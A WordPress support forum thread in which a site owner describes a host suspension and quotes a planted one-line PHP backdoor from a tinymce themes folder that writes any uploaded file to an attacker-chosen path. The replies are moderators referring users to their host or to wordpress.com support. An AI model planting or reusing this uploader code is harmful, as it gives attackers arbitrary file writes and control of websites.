Site suspended and now doesn't work

  • A site I created four years ago was suspended by the ISP due to ‘A security audit has identified one or more compromised files within the webspace for edinburghinnwells.co.uk. The ISP failed to send the security_health_check.log which listed what was wrong, and finally I got this:
    the offending file is in folder tinymce — wp-includes/tinymce/js/themes/index.php
    There is only one line of code in the file
    <?php if ($_FILES[‘F1l3’]) {move_uploaded_file($_FILES[‘F1l3’][‘tmp_name’], $_POST[‘Name’]); echo ‘OK’; } else { echo ‘You are forbidden!’; } ?>
    I was told to delete this and I did and uploaded the file.
    Since then although the site was reported to be unsuspended, I can’t access it or wp-admin/ and all there is is a blank page.
    The ISP thinks it is Russian Trojan code. It moves one file from one place to another apparently – they don’t know why.
    Anyone got any ideas how I can proceed? Are online backups not kept by ISPs in case of attacks damaging sites?

Viewing 5 replies - 16 through 20 (of 20 total)

  • Then we are at the point where you need help from your ISP. We can’t do anything from here.

    2 questions:

    1) Can anyone from word press let me know why I am getting a ‘Account Suspended’ notice when I go to site that’s on wordpress?

    2) How do i resolve the above issue?

    Thanks

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    Gianni: Please do not jump on old threads. Account Suspended is an issue between you and your host. Please contact the company hosting your website. WordPress does not host websites unless you mean wordpress.com, and we’re not them.

    Hi Steve,

    Thank you for the information. I meant wordpress.com. If WordPress.COM and www.ads-software.com are 2 different entities why do you have the same logo. This is very confusing.

    Moderator Steven Stern (sterndata)

    (@sterndata)

    Volunteer Forum Moderator

    Due to the differences between the free hosted blogs offered at wordpress.com and the self-hosted and self-installed version of WordPress supported here, you should probably ask WordPress.com Support instead.

Viewing 5 replies - 16 through 20 (of 20 total)
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